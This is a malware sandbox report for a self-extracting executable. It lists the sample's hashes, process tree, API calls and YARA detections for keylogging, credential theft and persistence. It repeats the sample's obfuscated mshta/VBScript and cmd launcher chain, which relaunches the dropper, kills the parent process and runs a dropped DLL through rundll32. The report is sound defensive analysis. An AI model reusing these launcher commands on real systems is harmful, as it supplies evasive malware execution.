Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 20, 2021, 10:13 a.m.	Sept. 20, 2021, 10:15 a.m.

Size	1.3MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
MD5	`904b66229f5d7a3f7e55099b973416b6`
SHA256	`0a13352cbe53cea924ab9b7e2b694b8022332b451431ca05f0793c99deb5203d`
CRC32	`9D0E22E5`
ssdeep	`24576:o20gPgFKWW0wZPHNpg3K6vGW2me6HPftnUeZbbDI8iw1Uosf95b:5KNwXpg3xx22HtUe1bDlimUN`
PDB Path	d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb
Yara	PE_Header_Zero - PE File Signature OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

40.exe "C:\Users\test22\AppData\Local\Temp\40.exe"
2236
- mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
  1316
  - cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
    2408
    - W7sP3hTJPToEEt.exE W7sP3HTJPToeET.exe /PCOd0LPl_yA
      2296
      - mshta.exe "C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
        2976
        
        cmd.exe "C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"
        2220
      - rundll32.exe "C:\Windows\System32\rundll32.exe" GBmH.yE,MSoGFUg
        2776
    - taskkill.exe taskkill /F -Im "40.exe"
      916

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
104.21.48.37	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 20, 2021, 10:13 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 20, 2021, 10:13 a.m.			0	0

Command line console output was observed (7 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: taskkill console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: /F -Im "40.exe" console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: SUCCESS: The process "40.exe" with PID 2236 has been terminated. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: The file cannot be copied onto itself. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 20, 2021, 10:13 a.m.	buffer: 0 file(s) copied. console_handle: 0x00000007	1	1

This executable has a PDB path (1 event)

pdb_path

d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 20, 2021, 10:13 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 92 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x736e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72691000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x768d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x750f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72621000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ed81000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72651000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72571000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73361000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x724d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72691000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x768d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x750f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72181000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72071000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x765b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 1316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x765b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x736e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72691000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 20, 2021, 10:13 a.m.	process_identifier: 2296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x768d1000 process_handle: 0xffffffff	1

Creates a suspicious process (8 events)

cmdline	MSHtA VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
cmdline	MSHtA VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	CmD.EXE /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
cmdline	CmD.EXE /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"
cmdline	"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\GBmH.ye

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "40.exe")

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 20, 2021, 10:13 a.m.	show_type: 0 filepath_r: CmD.EXE parameters: /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj" filepath: CmD.EXE	1	1	0
ShellExecuteExW Sept. 20, 2021, 10:13 a.m.	show_type: 0 filepath_r: CmD.EXE parameters: /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj" filepath: CmD.EXE	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 20, 2021, 10:13 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (50 out of 121 events)

url	http://crl.comodo.net/TrustedCertificateServices.crl0
url	http://users.ocsp.d-trust.net03
url	http://crl.ssc.lt/root-b/cacrl.crl0
url	http://crl.securetrust.com/STCA.crl0
url	http://crl.securetrust.com/SGCA.crl0
url	http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
url	http://www.ssc.lt/cps03
url	http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
url	http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
url	http://www.microsoft.com/pki/certs/TrustListPCA.crt0
url	https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
url	http://www.pkioverheid.nl/policies/root-policy0
url	http://cps.chambersign.org/cps/chambersroot.html0
url	http://www.e-szigno.hu/SZSZ/0
url	http://www.entrust.net/CRL/Client1.crl0
url	http://crl.chambersign.org/publicnotaryroot.crl0
url	http://crl.comodo.net/AAACertificateServices.crl0
url	http://www.certplus.com/CRL/class3.crl0
url	http://logo.verisign.com/vslogo.gif0
url	http://www.acabogacia.org/doc0
url	http://www.disig.sk/ca/crl/ca_disig.crl0
url	https://www.catcert.net/verarrel
url	http://www.sk.ee/cps/0
url	http://www.quovadis.bm0
url	https://www.catcert.net/verarrel05
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
url	http://crl.chambersign.org/chambersroot.crl0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
url	http://crl.globalsign.net/root-r2.crl0
url	http://certificates.starfieldtech.com/repository/1604
url	http://www.d-trust.net0
url	http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
url	http://crl.ssc.lt/root-a/cacrl.crl0
url	http://crl.usertrust.com/UTN-DATACorpSGC.crl0
url	http://www.certicamara.com/certicamaraca.crl0
url	http://www.d-trust.net/crl/d-trust_root_class_2_ca_2007.crl0
url	http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
url	http://www.post.trust.ie/reposit/cps.html0
url	http://qual.ocsp.d-trust.net0
url	http://www2.public-trust.com/crl/ct/ctroot.crl0
url	http://www.certicamara.com0
url	http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
url	http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
url	http://www.comsign.co.il/cps0
url	http://crl.usertrust.com/UTN-USERFirst-NetworkApplications.crl0
url	http://www.microsoft.com/pki/crl/products/TrustListPCA.crl
url	http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
url	http://www.signatur.rtr.at/de/directory/cps.html0
url	http://www.globaltrust.info0

Yara rule detected in process memory (50 out of 55 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Install itself for autorun at Windows startup	rule	Persistence
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 20, 2021, 10:13 a.m.	status_code: 0x00000001 process_identifier: 2236 process_handle: 0x000001c8		0	0
NtTerminateProcess Sept. 20, 2021, 10:13 a.m.	status_code: 0x00000001 process_identifier: 2236 process_handle: 0x000001c8	1	0	0

Uses Windows utilities for basic Windows functionality (9 events)

cmdline	taskkill /F -Im "40.exe"
cmdline	MSHtA VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
